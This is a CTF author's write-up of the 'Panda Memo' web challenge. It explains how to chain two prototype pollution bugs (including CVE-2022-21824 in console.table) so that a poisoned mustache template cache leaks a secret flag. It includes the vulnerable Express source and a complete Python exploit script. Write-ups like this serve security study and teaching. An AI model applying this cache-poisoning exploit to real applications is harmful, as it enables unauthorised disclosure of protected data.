Yesterday I hosted CakeCTF 2022 and I wrote a web task named "Panda Memo" in the CTF. I invented (or re-invented?) a small technique to abuse prototype pollution to control many of the template engines.
I was just planning to make a challenge about prototype pollution attacks. In order to make a challenge, I was reading the AST Injection technique invented by posix-sensei. In this article, he illustrates the use of AST Injection with examples of Handlebars and Pug. I was wondering if there was any other template engine that had never been used as a CTF challenge.
I came across a template engine named mustache, which seemed very simple and good for medium-level CTF. Then I started looking over the code and found a way to abuse template engine without AST Injection.
As I'm not a web security researcher and I'm not sure if this technique is known, I take small notes in this blog post.
Panda Memo is a web challenge which the attacker has to chain 2 prototype pollution vulnerabilities. The service is a simple note like a pwn challenge. It stores a list of notes per IP.
const isAdmin = req => req.query.secret === SECRET; const getAdminRole = req => { return isAdmin(req) ? ['admin'] : []; } let memo = {}; app.get('/', (req, res) => res.render('index')); app.post('/new', (req, res) => { if (!(req.ip in memo)) memo[req.ip] = []; memo[req.ip].push(""); res.json({status: 'success'}); }); app.post('/del', (req, res) => { let index = req.body.index; if ((req.ip in memo) && (index in memo[req.ip])) { memo[req.ip].splice(index, 1); res.json({status: 'success', result: 'Successfully deleted'}); } else { res.json({status: 'error', result: 'Memo not found'}); } }); app.get('/show', (req, res) => { let ip = req.ip; if (req.body.debug == true) console.table(memo, req.body.inspect); if (getAdminRole(req)[0] !== undefined) ip = req.body.ip; if (ip in memo) res.json({status: 'success', result: memo[ip]}); else res.json({status: 'error', result: 'Memo not found'}); }); app.post('/edit', (req, res) => { let ip = req.ip; let index = req.body.index; let new_memo = req.body.memo; if (getAdminRole(req)[0] !== undefined) ip = req.body.ip; if (ip in memo) { memo[ip][index] = new_memo; res.json({status: 'success', result: 'Successfully updated'}); } else { res.json({status: 'error', result: 'Memo not found'}); } }); app.get('/admin', (req, res) => { res.render('admin', {is_admin:isAdmin(req), flag:FLAG}); });
The goal of this task is to steal the flag in the admin panel.
app.get('/admin', (req, res) => { res.render('admin', {is_admin:isAdmin(req), flag:FLAG}); });
The template looks like this:
<html> <head> <meta charset="UTF-8"> <link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"> <title>Admin Panel - lolpanda</title> </head> <body> <header> <h1>Admin Panel</h1> <p>Please leave this page if you're not the admin.</p> </header> <main> <article style="text-align: center;"> <h2>FLAG</h2> <p> {{#is_admin}} FLAG: <code>{{flag}}</code> {{/is_admin}} {{^is_admin}} <mark>Access Denied</mark> {{/is_admin}} </p> </article> </main> </body> </html>
There is no way to make is_admin
true so you need to leak the flag in other ways.
The first vulnerability is CVE-2022-21824.
if (req.body.debug == true) console.table(memo, req.body.inspect);
The attacker can set an empty string to Object.prototype[0]
.
This chains a new prototype pollution in "edit" function:
if (getAdminRole(req)[0] !== undefined) ip = req.body.ip; if (ip in memo) { memo[ip][index] = new_memo; res.json({status: 'success', result: 'Successfully updated'});
Chaining these two bugs, the attacker can set arbitrary key and value to the Object prototype.
Many template engines take advantage of caching mechanism to make the response fast.
Mustache: mustache.js/mustache.js at 813e273a658677852ab37e6f47c98a9d9352ccde · janl/mustache.js · GitHub
Writer.prototype.parse = function parse (template, tags) { var cache = this.templateCache; var cacheKey = template + ':' + (tags || mustache.tags).join(':'); var isCacheEnabled = typeof cache !== 'undefined'; var tokens = isCacheEnabled ? cache.get(cacheKey) : undefined; if (tokens == undefined) { tokens = parseTemplate(template, tags); isCacheEnabled && cache.set(cacheKey, tokens); } return tokens; };
Pug: pug/index.js at d4b7f602ba38212c2a5ad9431479ce959c466c4b · pugjs/pug · GitHub
function handleTemplateCache(options, str) { var key = options.filename; if (options.cache && exports.cache[key]) { return exports.cache[key]; } else { if (str === undefined) str = fs.readFileSync(options.filename, 'utf8'); var templ = exports.compile(str, options); if (options.cache) exports.cache[key] = templ; return templ; } }
You'll notice this mechanism is exploitable if you have prototype pollution.
In the case of mustache, the key for the cache is created like this:
var cacheKey = template + ':' + (tags || mustache.tags).join(':');
tags
is a list of keywords to be expanded by the template engine.
It is ["{{", "}}"]
by default.
So, the attacker can pollute the cache by setting a properly constructed key and value to the object prototype.
My exploit:
import requests import json import os HOST = os.getenv("HOST", "localhost") PORT = os.getenv("PORT", 8002) USERNAME = os.getenv("BASIC_USERNAME", "guest") PASSWORD = os.getenv("BASIC_PASSWORD", "guest") with open("../distfiles/views/admin.html", "r") as f: template = f.read() auth = requests.auth.HTTPBasicAuth(USERNAME, PASSWORD) r = requests.post(f"http://{HOST}:{PORT}/new", auth=auth) r = requests.get(f"http://{HOST}:{PORT}/show", headers={"Content-Type": "application/json"}, data=json.dumps({"debug": True, "inspect": ["__proto__"]}), auth=auth) cache_key = template + ":{{:}}" cache_val = [["name", "flag", 0, 100]] r = requests.post(f"http://{HOST}:{PORT}/edit", headers={"Content-Type": "application/json"}, data=json.dumps({"ip": "__proto__", "index": cache_key, "memo": cache_val}), auth=auth) r = requests.get(f"http://{HOST}:{PORT}/admin", auth=auth) print(r.text)
Again, I'm not a web security researcher and I don't know if this technique has been already well-known or how useful this technique is. However, I'd like to share it with anyone who is interested because this looks simpler and easier than AST Injection :)